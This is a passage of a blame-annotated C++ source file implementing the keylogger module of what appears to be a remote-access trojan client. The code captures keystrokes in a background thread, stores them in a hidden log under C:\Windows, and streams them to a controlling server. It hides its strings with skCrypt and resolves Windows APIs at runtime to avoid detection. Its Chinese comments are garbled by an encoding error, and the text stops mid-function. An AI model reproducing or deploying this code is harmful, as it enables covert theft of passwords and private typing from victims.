2025-01-31 22:22:16 +08:00
|
|
|
|
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
|
|
|
|
|
|
//
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
2025-06-26 02:07:00 +08:00
|
|
|
|
#include "Common.h"
|
2025-01-31 22:22:16 +08:00
|
|
|
|
#include "KeyboardManager.h"
|
|
|
|
|
|
#include <tchar.h>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
|
|
|
|
|
|
#if ENABLE_KEYBOARD
|
|
|
|
|
|
|
2025-01-31 22:22:16 +08:00
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
// Construction/Destruction
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
|
|
|
|
|
#include <iostream>
|
|
|
|
|
|
#include <winbase.h>
|
|
|
|
|
|
#include <winuser.h>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
#include "keylogger.h"
|
|
|
|
|
|
#include <iniFile.h>
|
2025-01-31 22:22:16 +08:00
|
|
|
|
|
|
|
|
|
|
#define CAPTION_SIZE 1024
|
|
|
|
|
|
|
2025-06-26 02:07:00 +08:00
|
|
|
|
CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient)
|
2025-01-31 22:22:16 +08:00
|
|
|
|
{
|
2025-06-26 02:07:00 +08:00
|
|
|
|
m_bIsOfflineRecord = offline;
|
2025-01-31 22:22:16 +08:00
|
|
|
|
|
2025-06-26 02:07:00 +08:00
|
|
|
|
char path[MAX_PATH] = { "C:\\Windows\\" };
|
|
|
|
|
|
GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
|
|
|
|
|
|
strcpy_s(m_strRecordFile, path);
|
|
|
|
|
|
m_Buffer = new CircularBuffer(m_strRecordFile);
|
2025-01-31 22:22:16 +08:00
|
|
|
|
|
|
|
|
|
|
m_bIsWorking = true;
|
|
|
|
|
|
|
2025-07-26 14:51:10 +08:00
|
|
|
|
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
|
|
|
|
|
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
2025-06-26 02:07:00 +08:00
|
|
|
|
SetReady(TRUE);
|
2025-01-31 22:22:16 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
CKeyboardManager1::~CKeyboardManager1()
|
|
|
|
|
|
{
|
|
|
|
|
|
m_bIsWorking = false;
|
|
|
|
|
|
WaitForSingleObject(m_hWorkThread, INFINITE);
|
|
|
|
|
|
WaitForSingleObject(m_hSendThread, INFINITE);
|
|
|
|
|
|
CloseHandle(m_hWorkThread);
|
|
|
|
|
|
CloseHandle(m_hSendThread);
|
2025-06-26 02:07:00 +08:00
|
|
|
|
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
|
|
|
|
|
|
delete m_Buffer;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
void CKeyboardManager1::Notify() {
|
|
|
|
|
|
if (NULL == this)
|
|
|
|
|
|
return;
|
|
|
|
|
|
sendStartKeyBoard();
|
|
|
|
|
|
WaitForDialogOpen();
|
2025-01-31 22:22:16 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
|
|
|
|
|
{
|
|
|
|
|
|
if (lpBuffer[0] == COMMAND_NEXT)
|
|
|
|
|
|
NotifyDialogIsOpen();
|
|
|
|
|
|
|
|
|
|
|
|
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
|
2025-06-26 02:07:00 +08:00
|
|
|
|
m_bIsOfflineRecord = lpBuffer[1];
|
|
|
|
|
|
iniFile cfg(CLIENT_PATH);
|
|
|
|
|
|
cfg.SetStr("settings", "kbrecord", m_bIsOfflineRecord ? "Yes" : "No");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
|
2025-06-26 02:07:00 +08:00
|
|
|
|
m_Buffer->Clear();
|
|
|
|
|
|
GET_PROCESS_EASY(DeleteFileA);
|
|
|
|
|
|
DeleteFileA(m_strRecordFile);
|
2025-01-31 22:22:16 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
int CKeyboardManager1::sendStartKeyBoard()
|
|
|
|
|
|
{
|
|
|
|
|
|
BYTE bToken[2];
|
|
|
|
|
|
bToken[0] = TOKEN_KEYBOARD_START;
|
2025-06-26 02:07:00 +08:00
|
|
|
|
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
2025-01-31 22:22:16 +08:00
|
|
|
|
|
2025-06-26 02:07:00 +08:00
|
|
|
|
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken));
|
2025-01-31 22:22:16 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
|
|
|
|
|
|
{
|
|
|
|
|
|
int nRet = -1;
|
|
|
|
|
|
DWORD dwBytesLength = 1 + nSize;
|
2025-06-26 02:07:00 +08:00
|
|
|
|
GET_PROCESS(DLLS[KERNEL], LocalAlloc);
|
2025-01-31 22:22:16 +08:00
|
|
|
|
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
|
|
|
|
|
|
|
|
|
|
|
|
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
|
|
|
|
|
|
memcpy(lpBuffer + 1, lpData, nSize);
|
|
|
|
|
|
|
2025-06-26 02:07:00 +08:00
|
|
|
|
nRet = CManager::Send((LPBYTE)lpBuffer, dwBytesLength);
|
|
|
|
|
|
GET_PROCESS(DLLS[KERNEL], LocalFree);
|
2025-01-31 22:22:16 +08:00
|
|
|
|
LocalFree(lpBuffer);
|
|
|
|
|
|
|
|
|
|
|
|
return nRet;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2025-04-06 19:35:20 +08:00
|
|
|
|
std::string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
|
2025-01-31 22:22:16 +08:00
|
|
|
|
{
|
2025-06-26 02:07:00 +08:00
|
|
|
|
GET_PROCESS(DLLS[USER32], GetKeyState);
|
2025-04-06 19:35:20 +08:00
|
|
|
|
std::string KeyString = "";
|
2025-01-31 22:22:16 +08:00
|
|
|
|
//<2F>жϷ<D0B6><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
const int KeyPressMask=0x80000000; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>볣<EFBFBD><EBB3A3>
|
|
|
|
|
|
int iShift=GetKeyState(0x10); //<2F>ж<EFBFBD>Shift<66><74>״̬
|
|
|
|
|
|
bool IS=(iShift & KeyPressMask)==KeyPressMask; //<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Shift<66><74>
|
|
|
|
|
|
if(Key >=186 && Key <=222) {
|
|
|
|
|
|
switch(Key) {
|
|
|
|
|
|
case 186:
|
|
|
|
|
|
if(IS)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt(":");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt(";");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 187:
|
|
|
|
|
|
if(IS)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("+");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("=");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 188:
|
|
|
|
|
|
if(IS)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("<");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt(",");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 189:
|
|
|
|
|
|
if(IS)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("_");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("-");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 190:
|
|
|
|
|
|
if(IS)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt(">");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt(".");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 191:
|
|
|
|
|
|
if(IS)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("?");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("/");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 192:
|
|
|
|
|
|
if(IS)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("~");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("`");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 219:
|
|
|
|
|
|
if(IS)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("{");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 220:
|
|
|
|
|
|
if(IS)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("|");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("\\");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 221:
|
|
|
|
|
|
if(IS)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("}");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 222:
|
|
|
|
|
|
if(IS)
|
|
|
|
|
|
KeyString = '"';
|
|
|
|
|
|
else
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("'");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
//<2F>жϼ<D0B6><CFBC>̵ĵ<CCB5>һ<EFBFBD><D2BB>
|
|
|
|
|
|
if (Key == VK_ESCAPE) // <20>˳<EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Esc]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_F1) // F1<46><31>F12
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[F1]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_F2)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[F2]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_F3)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[F3]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_F4)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[F4]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_F5)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[F5]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_F6)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[F6]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_F7)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[F7]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_F8)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[F8]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_F9)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[F9]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_F10)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[F10]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_F11)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[F11]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_F12)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[F12]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_SNAPSHOT) // <20><>ӡ<EFBFBD><D3A1>Ļ
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[PrScrn]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_SCROLL) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Scroll Lock]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_PAUSE) // <20><>ͣ<EFBFBD><CDA3><EFBFBD>ж<EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Pause]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_CAPITAL) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Caps Lock]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
|
|
|
|
|
|
//-------------------------------------//
|
|
|
|
|
|
//<2F><><EFBFBD>Ƽ<EFBFBD>
|
|
|
|
|
|
else if (Key == 8) //<- <20>ظ<EFBFBD><D8B8><EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Backspace]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_RETURN) // <20>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Enter]\n");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_SPACE) // <20>ո<EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt(" ");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
//<2F>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʱ<EFBFBD><EFBFBD><F2A3ACBF>Բ<EFBFBD><D4B2><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Shift<66>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κ<EFBFBD><CEBA>ַ<EFBFBD><D6B7><EFBFBD>
|
|
|
|
|
|
//<2F>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
/*
|
|
|
|
|
|
else if (Key == VK_LSHIFT) // <20><><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Shift]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_LSHIFT) // <20>Ҳ<EFBFBD><D2B2>ϵ<EFBFBD><CFB5><EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[SHIFT]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
*/
|
|
|
|
|
|
/*<2A><><EFBFBD><EFBFBD>ֻ<EFBFBD>ǶԼ<C7B6><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>м<EFBFBD>¼:<3A><><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>*/
|
|
|
|
|
|
else if (Key == VK_TAB) // <20>Ʊ<EFBFBD><C6B1><EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Tab]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_LCONTROL) // <20><><EFBFBD><EFBFBD><EFBFBD>Ƽ<EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Ctrl]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_RCONTROL) // <20>ҿ<EFBFBD><D2BF>Ƽ<EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[CTRL]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_LMENU) // <20><EFBFBD><F3BBBBB5><EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Alt]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_LMENU) // <20>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[ALT]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_LWIN) // <20><> WINDOWS <20><>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Win]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_RWIN) // <20><> WINDOWS <20><>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[WIN]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_APPS) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>Ҽ<EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("<EFBFBD>Ҽ<EFBFBD>");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_INSERT) // <20><><EFBFBD><EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Insert]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_DELETE) // ɾ<><C9BE>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Delete]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_HOME) // <20><>ʼ
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Home]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_END) // <20><><EFBFBD><EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[End]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_PRIOR) // <20><>һҳ
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[PgUp]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_NEXT) // <20><>һҳ
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[PgDown]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
// <20><><EFBFBD><EFBFBD><EFBFBD>õļ<C3B5><C4BC><EFBFBD><EFBFBD><EFBFBD>:һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>
|
|
|
|
|
|
else if (Key == VK_CANCEL) // Cancel
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Cancel]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_CLEAR) // Clear
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Clear]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_SELECT) //Select
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Select]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_PRINT) //Print
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Print]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_EXECUTE) //Execute
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[Execute]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
|
|
|
|
|
|
//----------------------------------------//
|
|
|
|
|
|
else if (Key == VK_LEFT) //<2F>ϡ<EFBFBD><CFA1>¡<EFBFBD><C2A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[<5B><>]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_RIGHT)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[<5B><>]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_UP)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[<5B><>]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_DOWN)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[<5B><>]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_NUMLOCK)//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("[NumLock]");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_ADD) // <20>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD><CBA1><EFBFBD>
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("+");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_SUBTRACT)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("-");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_MULTIPLY)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("*");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_DIVIDE)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("/");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == 190 || Key == 110) // С<><D0A1><EFBFBD><EFBFBD> . <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> .
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt(".");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ּ<EFBFBD>:0-9
|
|
|
|
|
|
else if (Key == VK_NUMPAD0)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("0");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_NUMPAD1)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("1");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_NUMPAD2)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("2");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_NUMPAD3)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("3");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_NUMPAD4)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("4");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_NUMPAD5)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("5");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_NUMPAD6)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("6");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_NUMPAD7)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("7");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_NUMPAD8)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("8");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
else if (Key == VK_NUMPAD9)
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("9");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
//-------------------------------------------//
|
|
|
|
|
|
|
|
|
|
|
|
//-------------------------------------------//
|
|
|
|
|
|
//*<2A><><EFBFBD><EFBFBD>ĸ<EFBFBD>Ĵ<EFBFBD>Сд<D0A1><D0B4><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>*//
|
|
|
|
|
|
else if (Key >=97 && Key <= 122) { // <20><>ĸ:a-z
|
|
|
|
|
|
if (GetKeyState(VK_CAPITAL)) { // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
|
|
|
|
|
|
if(IS) //Shift<66><74><EFBFBD><EFBFBD>:ΪСд<D0A1><D0B4>ĸ
|
|
|
|
|
|
KeyString = Key;
|
|
|
|
|
|
else // ֻ<>д<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4>ĸ
|
|
|
|
|
|
KeyString = Key - 32;
|
|
|
|
|
|
} else { // <20><>дû<D0B4><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
if(IS) // <20><><EFBFBD><EFBFBD>Shift<66><74>: <20><>д<EFBFBD><D0B4>ĸ
|
|
|
|
|
|
KeyString = Key - 32;
|
|
|
|
|
|
else // û<>а<EFBFBD>Shift<66><74>: Сд<D0A1><D0B4>ĸ
|
|
|
|
|
|
KeyString = Key;
|
|
|
|
|
|
}
|
|
|
|
|
|
} else if (Key >=48 && Key <= 57) { // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:0-9<><39><EFBFBD>Ϸ<EFBFBD><CFB7>ķ<EFBFBD><C4B7><EFBFBD>
|
|
|
|
|
|
if(IS) {
|
|
|
|
|
|
switch(Key) {
|
|
|
|
|
|
case 48: //0
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt(")");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 49://1
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("!");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 50://2
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("@");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 51://3
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("#");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 52://4
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("$");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 53://5
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("%");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 54://6
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("^");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 55://7
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("&");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 56://8
|
2025-06-26 02:07:00 +08:00
|
|
|
|
KeyString = skCrypt("*");
|
2025-01-31 22:22:16 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 57://9
|
2025-06-26 02:07:00 +08:00
|
|
